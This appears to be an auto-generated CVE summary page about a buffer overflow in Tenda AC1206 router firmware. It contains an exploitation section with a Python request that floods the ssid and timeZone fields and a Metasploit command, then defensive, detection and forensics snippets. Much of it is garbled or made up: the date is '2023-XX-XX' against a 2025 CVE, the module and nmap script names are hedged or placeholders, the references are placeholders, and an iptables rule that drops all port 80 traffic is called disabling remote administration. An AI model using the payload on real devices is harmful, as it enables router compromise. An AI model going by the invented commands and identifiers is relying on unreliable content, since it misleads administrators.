The vulnerability in Tenda AC1206 firmware v15.03.06.23 stems from improper bounds checking in the `form_fast_setting_wifi_set` function (/goform/fast_setting_wifi_set). Attackers can trigger a buffer overflow by supplying excessively long strings to the `ssid` or `timeZone` parameters. This occurs due to missing input validation, allowing overwriting adjacent memory regions. Remote exploitation is possible via crafted HTTP requests to the router’s web interface, potentially leading to arbitrary code execution or denial of service. The public exploit leverages this flaw by sending oversized payloads to the vulnerable endpoint, corrupting the stack and hijacking control flow.
DailyCVE Form:
Platform: Tenda AC1206
Version: 15.03.06.23
Vulnerability: Buffer Overflow
Severity: Critical
Date: 2023-XX-XX
What Undercode Say:
Exploitation:
- Craft a malicious HTTP POST request to
/goform/fast_setting_wifi_set:import requests url = "http://<Tenda_IP>/goform/fast_setting_wifi_set" payload = "A" 1000 Overflow trigger data = {"ssid": payload, "timeZone": payload} requests.post(url, data=data)
2. Use Metasploit module (if available):
msfconsole use exploit/linux/http/tenda_ac1206_overflow set RHOST <target_IP> exploit
Protection:
1. Apply vendor firmware patches immediately.
2. Disable remote administration:
iptables -A INPUT -p tcp --dport 80 -j DROP
3. Input validation via regex for `ssid`/`timeZone`:
if (strlen(ssid) > 32) { exit(1); }
Detection:
1. Scan for vulnerable devices:
nmap -p 80 --script http-vuln-cve2023-xxxx <target_IP>
2. Monitor logs for oversized payloads:
grep -E 'POST /goform/fast_setting_wifi_set' /var/log/nginx/access.log
Mitigation:
1. Deploy WAF rules to block oversized `ssid`/`timeZone`:
http {
server {
location /goform/ {
if ($arg_ssid ~ .{33,}) { return 403; }
}
}
}
Forensics:
1. Capture crash dumps:
gdb -p $(pidof httpd) -ex "generate-core-file"
2. Analyze core dump for EIP overwrite:
objdump -D core | grep -A 20 eip
References:
- Vendor advisory: [Tenda Security Bulletin]
- Exploit DB: [EDB-ID-XXXXX]
- CVE Details: [NVD Entry]
References:
Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3328
Extra Source Hub:
Undercode
